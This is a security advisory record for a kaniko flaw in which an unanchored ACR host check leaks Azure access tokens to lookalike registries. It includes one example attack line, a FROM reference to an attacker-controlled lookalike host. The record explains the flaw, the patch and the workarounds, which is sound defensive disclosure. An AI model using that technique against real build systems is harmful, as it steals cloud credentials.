{"id":"CVE-2026-105769","aliases":["GHSA-5q7h-w9jf-cx97","GO-2026-6902"],"url":"https://o3.security/vulnerability/CVE-2026-105769","summary":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","details":"### Summary\n\nkaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push.\n\nThe flaw is in the Azure Container Registry (ACR) credential helper, `github.com/chrismellard/docker-credential-acr-env`. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone `docker-credential-acr-env` binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225).\n\n### Who is affected\n\nYou are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:\n\n- service principal credentials in the environment (`AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_TENANT_ID`)\n- a federated workload identity token (`AZURE_FEDERATED_TOKEN` or `AZURE_FEDERATED_TOKEN_FILE`, with `AZURE_CLIENT_ID` and `AZURE_TENANT_ID`), as injected by AKS workload identity\n- a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or `MSI_ENDPOINT`\n\nYou do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in `FROM` lines and images in `COPY --from=<image>`. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.\n\nIf your Docker `config.json` sets `\"credsStore\": \"acr-env\"`, the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.\n\n### Impact\n\nThe helper puts the token in both the `Authorization: Bearer` header and the `access_token` form field of a POST to `https://<host>/oauth2/exchange`, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the `/oauth2/exchange` endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has `AcrPush` or higher, the attacker can push images to your registries.\n\n### Patches\n\nFixed in [v1.25.20](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20) by [#495](https://github.com/chainguard-forks/kaniko/pull/495). kaniko now carries a patched copy of the helper under `third_party/docker-credential-acr-env`, which the executor, the warmer and the `docker-credential-acr-env` binary built by `deploy/Dockerfile` all use. The patched helper accepts a host only if it is exactly `host[:port]` and the hostname is `mcr.microsoft.com` or a well-formed name ending in `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us`. For any other host it reports \"credentials not found\" without requesting a token.\n\nThis repository publishes no binaries or images. Rebuild the executor, the warmer and `docker-credential-acr-env` from v1.25.20 or later. If you import kaniko as a Go module, update `github.com/chainguard-dev/kaniko` to v1.25.20 or later.\n\nFrom v1.25.20, kaniko no longer depends on `github.com/chrismellard/docker-credential-acr-env`, so scanners stop reporting GO-2026-6225 for it.\n\n### Workarounds\n\nIf you can't upgrade, don't let untrusted builds reach an Azure identity:\n\n- Remove Azure credentials, federated tokens, `MSI_ENDPOINT` and `MSI_SECRET` from the build environment, and block access to the Instance Metadata Service (`169.254.169.254`) from build pods.\n- If you don't rely on kaniko's built-in ACR authentication, set `AZURE_ENVIRONMENT` to a value that names no Azure cloud, such as `AZURE_ENVIRONMENT=none`, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.\n\nAlso, if you set `\"credsStore\": \"acr-env\"`, replace it with per-host `credHelpers` entries for your own ACR registries. On its own this closes only the standalone-binary path.\n\nIf you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity's credentials does not revoke it. Review the identity's Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys.\n\n### Credit\n\nReported by Martin Zihlmann ([@mzihlmann](https://github.com/mzihlmann)) of osscontainertools.","published":"2026-11-02T16:49:24.557Z","modified":"2026-11-05T23:25:56.115393361Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/chainguard-dev/kaniko","fixedVersion":"1.25.20"}],"fix":{"url":"https://github.com/chainguard-forks/kaniko/pull/495","label":"chainguard-forks/kaniko#495"},"references":[{"type":"WEB","url":"https://pkg.go.dev"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/105xxx/CVE-2026-105769.json"},{"type":"ADVISORY","url":"https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"},{"type":"ADVISORY","url":"https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105769"},{"type":"ADVISORY","url":"https://pkg.go.dev/vuln/GO-2026-6225"},{"type":"REPORT","url":"https://github.com/chrismellard/docker-credential-acr-env/issues/21"},{"type":"FIX","url":"https://github.com/chainguard-forks/kaniko/pull/495"},{"type":"PACKAGE","url":"https://github.com/chainguard-forks/kaniko"},{"type":"WEB","url":"https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405"},{"type":"WEB","url":"https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-05T23:25:56.115393361Z"}}